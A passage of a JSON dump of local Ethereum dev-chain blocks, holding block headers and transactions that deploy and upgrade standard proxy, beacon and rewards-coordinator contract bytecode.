6815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x74864ccefd0948b2a367ae127f95e7a739e6b3cfa17d9daa60b4b694bef144f6","s":"0x37fb43d83dbf4b63522a28d209693482b8d8400bc8c06897e93be0c1d0ecc55a","yParity":"0x0","hash":"0x87e7a0a46d0acf358992c362a7de3a63efb71630952cff29709a7656f78cbd82"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x8","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xa066bc72195074aa7e39fd29caf25ccf3dab8175888d680ec30c40ea43ca3239","s":"0x1c9c8a6f41d5500b3aea4833912dd3efc36dddb7625f0b719b36c52364336549","yParity":"0x0","hash":"0x59aadeac6bfd3d5ec958ebce13efbec270df30e25b8639b1e6906cbdb916c05a"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","transactionsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","receiptsRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x0","gasLimit":"0x1c9c380","gasUsed":"0x0","timestamp":"0x6735270c","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","extraData":"0x"},"transactions":[],"ommers":[]},{"header":{"parentHash":"0x4c2e7f6f7d3b694b58c1a6516aa7554d93d7566cc27e498ecf1c3c0d76d5d5b6","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xf9c4b4bd6181f938f09fe61081e4a386e91eda85b80831b2e7e621041c40d619","transactionsRoot":"0xcb2bfe808fc3f239f38e8730befdfa86beddf844230334d418f2af81a6b5f8ea","receiptsRoot":"0x6e5dc21a9d6c49016140a9b0a1699f850dc17b33ae2c1604510b3f4e5b7a3984","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x9","gasLimit":"0x1c9c380","gasUsed":"0x4672a","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1681fc0c","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xb","gas":"0x5b8ea","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788","r":"0xdc49082c63b5f80e8b26e41655e28fb1d6f9622f9370a8dbf358c9bc2c175496","s":"0x319d9cfadc3a91b28b6ecfe9d2cfa18724892606c3b5e70c836aa071acaa6469","yParity":"0x0","hash":"0x827ff68a4d4186a0f8f7dc0aff74d02be914a1ba3a24f1d64775925750ee1044"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x8aa0904c878d1b06916d71fd7087ff1a672bcf725fc781d577775980b707280c","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xa300594335aa30ba7f5ac57c21b9d07faddde3d61ed2e89395f04ec11637efee","transactionsRoot":"0x2be7553a5865adbc6bff815f04f505c924560d3c96a50089e7cffa58510bcdcd","receiptsRoot":"0xe8296af17e54e8f4a8746cf8b3b1e0c54684b30b6d2ec46e28d7849a63f486e4","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200","difficulty":"0x0","number":"0x14","gasLimit":"0x1c9c380","gasUsed":"0x29509","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x630dc66","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x17","gas":"0x3c6c3","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","r":"0x7e791feb791c6a1b5c06945c2e1e6b420cc1b666ec0b184ce951a8dd6034f2b","s":"0x33920b9f39f3dfb6806b1aa4cc3b780b3e97c41a414b396ba34e713c89f41804","yParity":"0x0","hash":"0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x295893bd9c3fe2aaca071a229013b74cbd0927da1c5718c2fd4686115f210f6b","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0cd20145c9a933fefcca4a0a93434a865a1dbbf101679af7994ab2ea26d51d09","transactionsRoot":"0x6e8d74b7df13ae3e00a8bce24c770c87566125a4a868208f7ca390b6ad6d8448","receiptsRoot":"0xc24b358bd8f01f0a27e9dfd990532cd0333f2a673ceef0dd1e1fbb4de37b200b","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000","difficulty":"0x0","number":"0xc","gasLimit":"0x1c9c380","gasUsed":"0x320478","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x10862de1","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xf","gas":"0x4100b6","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5